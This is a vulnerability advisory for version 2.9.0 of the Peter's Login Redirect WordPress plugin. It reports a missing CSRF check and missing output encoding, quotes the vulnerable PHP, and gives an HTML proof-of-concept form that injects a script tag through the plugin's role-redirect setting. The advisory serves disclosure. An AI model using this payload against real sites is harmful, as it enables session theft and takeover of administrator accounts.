WordPress Peters Login Redirect 2.9.0 XSS / CSRF

2016.08.16
Credit: Yorick Koster
Risk: Low
Local: No
Remote: Yes
CVE: N/A

------------------------------------------------------------------------ Cross-Site Scripting/Cross-Site Request Forgery in Peter's Login Redirect WordPress Plugin ------------------------------------------------------------------------ Yorick Koster, July 2016 ------------------------------------------------------------------------ Abstract ------------------------------------------------------------------------ A Cross-Site Scripting vulnerability was found in the Peter's Login Redirect WordPress Plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In addition the Plugin is vulnerable to Cross-Site Request Forgery, which allows an attacker to change any setting of this plugin. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website. ------------------------------------------------------------------------ OVE ID ------------------------------------------------------------------------ OVE-20160724-0028 ------------------------------------------------------------------------ Tested versions ------------------------------------------------------------------------ This issue was successfully tested on Peter's Login Redirect WordPress Plugin version 2.9.0. ------------------------------------------------------------------------ Fix ------------------------------------------------------------------------ This issue is resolved in Peter's Login Redirect version 2.9.1. ------------------------------------------------------------------------ Details ------------------------------------------------------------------------ https://sumofpwn.nl/advisory/2016/cross_site_scripting_cross_site_request_forgery_in_peter_s_login_redirect_wordpress_plugin.html This issue exists because Peter's Login Redirect lacks protection against Cross-Site Request Forgery attacks. In addition, the plugin lacks proper output encoding, rendering it vulnerable to Cross-Site Scripting. See for example the following code fragment. elseif( $rul_type == 'role' ) { $rul_rolevalues .= '<form name="rul_role_edit_form[' . $i_role . ']" action="?page=' . basename(__FILE__) . '" method="post">'; $rul_rolevalues .= '<tr>'; $rul_rolevalues .= '<td><p><input type="hidden" name="rul_role" value="' . $rul_value . '" /> ' . $rul_value . '</p></td>'; $rul_rolevalues .= '<td>'; $rul_rolevalues .= '<p>' . __('Login URL', 'peters-login-redirect' ) . '<br /><input type="text" size="90" maxlength="500" name="rul_role_address" value="' . $rul_url . '" /></p>'; $rul_rolevalues .= '<p>' . __('Logout URL', 'peters-login-redirect' ) . '<br /><input type="text" size="60" maxlength="500" name="rul_role_logout" value="' . $rul_url_logout . '" /></p>'; $rul_rolevalues .= '</td>'; $rul_rolevalues .= '<td><p><input name="rul_role_edit" type="submit" value="' . __( 'Edit', 'peters-login-redirect' ) . '" /> <input type="submit" name="rul_role_delete" value="' . __( 'Delete', 'peters-login-redirect' ) . '" /></p></td>'; $rul_rolevalues .= '</tr>'; $rul_rolevalues .= '</form>'; $rul_roles_existing[$rul_value] = ''; ++$i_role; } In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website. Proof of concept <html> <body> <form action="http://<target>/wp-admin/options-general.php?page=wplogin_redirect.php" method="POST"> <input type="hidden" name="rul&#95;role" value="administrator" /> <input type="hidden" name="rul&#95;role&#95;address" value="&quot;><script>alert(1);</script>" /> <input type="hidden" name="rul&#95;role&#95;logout" value="" /> <input type="hidden" name="rul&#95;role&#95;submit" value="Add&#32;role&#32;rule" /> <input type="submit" value="Submit request" /> </form> </body> </html> ------------------------------------------------------------------------ Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its goal is to contribute to the security of popular, widely used OSS projects in a fun and educational way.


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